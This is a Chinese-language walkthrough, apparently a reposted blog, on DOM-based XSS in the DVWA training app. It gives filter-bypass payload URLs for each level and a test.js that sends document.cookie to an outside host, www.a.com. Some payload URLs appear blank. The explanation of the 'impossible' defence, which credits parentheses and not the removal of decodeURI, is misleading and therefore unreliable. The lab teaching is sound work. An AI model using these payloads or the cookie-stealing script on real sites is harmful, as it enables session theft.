DVWA 黑客攻防演練(十二) DOM型 XSS 攻擊 DOM Based Cross Site Scripting


反射型攻擊那篇提及到,如何是“數據是否保存在服務器端”來區分,DOM 型 XSS 攻擊應該算是 反射型XSS 攻擊。

DOM 型攻擊的特殊之處在於它是利用 JS 的 document.writedocument.innerHTML 等函數進行 “HTML注入”

下面一起來探討一下吧。

初級

這是一個普通的選擇器。

選擇了 English 之后是這個樣式的

但打開調試器,看到的這段 JS 代碼就很成問題了

if (document.location.href.indexOf("default=") >= 0) { //url 是否有 default=
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8); //截取 url 字符串
    document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}
					    
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");				

而這里的問題當然是處於截取字符串那里了。
假如 Hacker 在瀏覽器中輸入 http://192.168.0.110:5678/vulnerabilities/xss_d/?default= 呢?

html 就變成

<option value="%3Cscript%3Ealert(1)%3C/script%3E"><script>alert(1)</script></option>

如果 Hacker 輸入的是 http://192.168.0.110:5678/vulnerabilities/xss_d/?default=

因為 test.js 的內容是

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

看過上一篇反射型攻擊的朋友應該能明白

中級

中級會過濾掉 <script,所以無法用 script 進行注入,但仍然有多種的方式可以注入
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    $default = $_GET['default'];
    
    # Do not allow script tags
    if (stripos ($default, "<script") !== false) {
        header ("location: ?default=English");
        exit;
    }
}

?> 

利用 Img 注入

或者你會想到使用 img 進行注入,但這不會成功的,因為 option 中的元素不能有圖片之類的,只能是文字。
但可以選擇先閉合 option 再注入

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English

這種方式的話,就比較容易被容易察覺到

利用參數

因為在網頁端是截取 url ,而服務器讀的是也只是 default 這個變量,如果url 中的參數不是 default 呢?

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English&&script=<script>alert(1)</script>

利用 location.hash

還是會有注入的方式的,比如利用 location.hash 。因為 location.hash 不會傳到服務器,所以盡情注入吧。

http://192.168.0.110:5678/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

高級

<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

    # White list the allowable languages
    switch ($_GET['default']) {
        case "French":
        case "English":
        case "German":
        case "Spanish":
            # ok
            break;
        default:
            header ("location: ?default=English");
            exit;
    }
}

?> 

高級會檢查 default 的變量,而且 default 也只能是規定的值。
但用其他變量,和使用 location.hash 還是沒防御到

不可能

不可能級別,后端是這樣的。。。因為根本不用后端做保護,主要是在前端做了保護。

<?php
# Don't need to do anything, protction handled on the client side
?> 

前端的代碼最主要是這樣。

if (document.location.href.indexOf("default=") >= 0) {
    var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
    //記住這個神奇的括號
    document.write("<option value='" + lang + "'>" + (lang) + "</option>");
    document.write("<option value='' disabled='disabled'>----</option>");
}				

用一個神奇的括號,惡意的 “HTML 注入代碼”都變回普通的字符串。就能很好地防御 dom 型 xss 攻擊了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM